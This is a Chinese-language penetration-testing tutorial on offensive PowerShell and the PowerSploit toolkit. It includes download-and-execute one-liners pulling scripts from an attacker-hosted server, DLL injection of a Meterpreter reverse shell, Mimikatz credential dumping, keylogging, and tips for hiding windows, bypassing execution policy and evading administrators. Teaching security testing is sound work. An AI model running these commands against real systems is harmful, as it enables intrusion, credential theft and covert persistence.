【技術分享】滲透利器之Powershell

前言


Powershell是Microsoft Windows命令列shell程式和腳本環境,它提供了令人難以置信的靈活性和功能來管理Windows系統,現在Windows系統上基本上都有它的存在。正因為它的強大,才能被我們所利用,幫助我們進行滲透測試。

 

Powershell的優秀之處​


1. 代碼運行在記憶體中可以不去接觸磁片

2. 從另一個系統中下載代碼並執行

3. 很多安全產品並不能監測到powershell的活動

4. cmd.exe通常被阻止運行,但是powershell不會

 

各個Windows下powershell版本


http://p5.qhimg.com/t0195b15357de4adf51.png

 

Powershell運行選項


以下介紹了滲透測試過程中我們經常要使用到的powershell運行選項

 

1

2

-WindowsStyle Hidden 隐藏自己的窗口

-ExecutionPolicy Bypass 绕过策略

Powershell腳本預設情況下無法在cmd下或按兩下執行,這時我們就可以使用這個選項繞過。

 

PowerSploit


PowerSploit是GitHub上面的一個安全項目,上面有很多powershell攻擊腳本,它們主要被用來滲透中的資訊偵察、許可權提升、許可權維持。

項目位址:https://github.com/PowerShellMafia/PowerSploit

 

 

一、代碼執行(CodeExecution)

1. Invoke-DllInjection 

2. Invoke-ReflectivePEInjection

3. Invoke-Shellcode

4. Invoke-WmiCommand

二、脚本修改(ScriptModification)

1. Out-EncodedCommand

2. Out-CompressedDll

3. Out-EncryptedScript

4. Remove-Comments

三、权限维持(Persistence)

1. New-UserPersistenceOption

2. New-ElevatedPersistenceOption

3. Add-Persistence

4. Install-SSP

5. Get-SecurityPackages

四、繞過防毒軟體(AntivirusBypass)

Find-AVSignature

五、信息收集(Exfiltration)

這個資料夾主要是收集目標主機上的資訊。

六、信息侦察(Recon)

這個資料夾主要是以目標主機為跳板進行內網主機偵察。

 

搭建PowerSploit腳本伺服器​


1. 下載PowerSploit到伺服器

http://p2.qhimg.com/t018218ace50f435af5.png

2. 啟動Apache

http://p7.qhimg.com/t01fc5b49f2d5b5aa6d.png

3. 查看是否成功搭建

http://p5.qhimg.com/t01005c4c68da223f6f.png

 

實際運用


由於篇幅問題,我們不可能針對每一個腳本都進行詳細的介紹,所以這裡我們來介紹一下實戰中最常用到的腳本。

IEX遠端下載腳本執行:

1

IEX(New-Object Net.WebClient).DownloadString(“脚本地址”)

取得Shell:

1.  Invoke-DllInjection

將DLL檔注入到當前進程中

我們首先來生成一個DLL反彈碼

http://p1.qhimg.com/t01e6c16b68d04c72ad.png

在目的機上保存msf.dll到本地

http://p0.qhimg.com/t01754bd9980fba6681.png

我們下載Invoke-DllInjection腳本

http://p7.qhimg.com/t01fa1d19692685aae9.png

運行一個隱藏進程並注入DLL反彈木馬

http://p1.qhimg.com/t01e86a2f91a359d579.png

可以看見Meterpreter會話成功建立了

http://p8.qhimg.com/t01a9823d4cf08129a5.png

2. Invoke-Shellcode

在當前進程中注入Shellcode

Powershell調用Windows API非常方便,所以也可以直接來執行Shellcode。PowerSploit也提供了一些Shellcode,看下圖:

http://p2.qhimg.com/t01184fbc918ceb5364.png

 

擴大成果內網端口掃描


1. 我們先下載Invoke-Portscan

http://p5.qhimg.com/t01504eaf794aeb0fe5.png

2. 结果

http://p0.qhimg.com/t012a419f8dcb079a59.png

 

獲取主機密碼


為了不讓管理員發現,我們不能再目的機上添加任何帳戶,這時候我們就需要來獲取管理員密碼來維持訪問。這裡我們就需要使用到腳本Invoke-Mimikatz,注意需要管理員許可權。

1. 下載腳本

http://p3.qhimg.com/t01a096e94f7be65af7.png

2. dump密碼

1

Invoke-Mimikatz –DumpCreds

http://p4.qhimg.com/t01a4d67a045e8aecfc.png

再來一個大殺器-鍵盤記錄

http://p0.qhimg.com/t0160f7ce69b7f027a7.png

這樣它就進行鍵盤記錄,不僅有鍵盤輸入記錄還有滑鼠輸入記錄,而且還有很詳細的時間,實戰使用的時候,我們就要在放入後臺運行。

 

漏洞探測-攻擊進行時​


下載腳本:

1

IEX(New-Object Net.WebClient).DownloadString("http://192.168.6.133/PowerSploit/Privesc/PowerUp.ps1")

Invoke-AllChecks:輸出可識別的漏洞

http://p8.qhimg.com/t01e35e708a57173d2d.png

 

自学指南-Get Help


腳本很多,很難一一介紹,剩下就要自己來嘗試了,但是網上基本上找不到使用教程,所以就需要來獲取説明資訊,來説明自己學習。

比如Invoke-DllInjection

下載腳本:

1

IEX(New-Object Net.WebClient).DownloadString("http://192.168.6.133/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")

獲取説明資訊:

1

Get-Help Invoke-DllInjection

http://p0.qhimg.com/t01753e3e96af70fd2b.png

查看事例:

1

Get-Help Invoke-DllInjection -Examples

http://p8.qhimg.com/t0163d0260b2de7f2d7.png

查看詳細資訊:

1

Get-Help Invoke-DllInjection –Detailed

http://p7.qhimg.com/t01d76103ae9027a03f.png

 

結語


Powershell實在是太強大了,可以說是內網滲透利器,繼續深入研究,下一篇文章我們就不再是使用別人的腳本了,本篇文章的作用主要還是在於引導,大家還是要多用多練,才能在實踐中靈活的運用。

 

文章來源: http://bobao.360.cn/learning/detail/3104.html

圖片來源: https://pixabay.com/

您可能也會喜歡…

發表迴響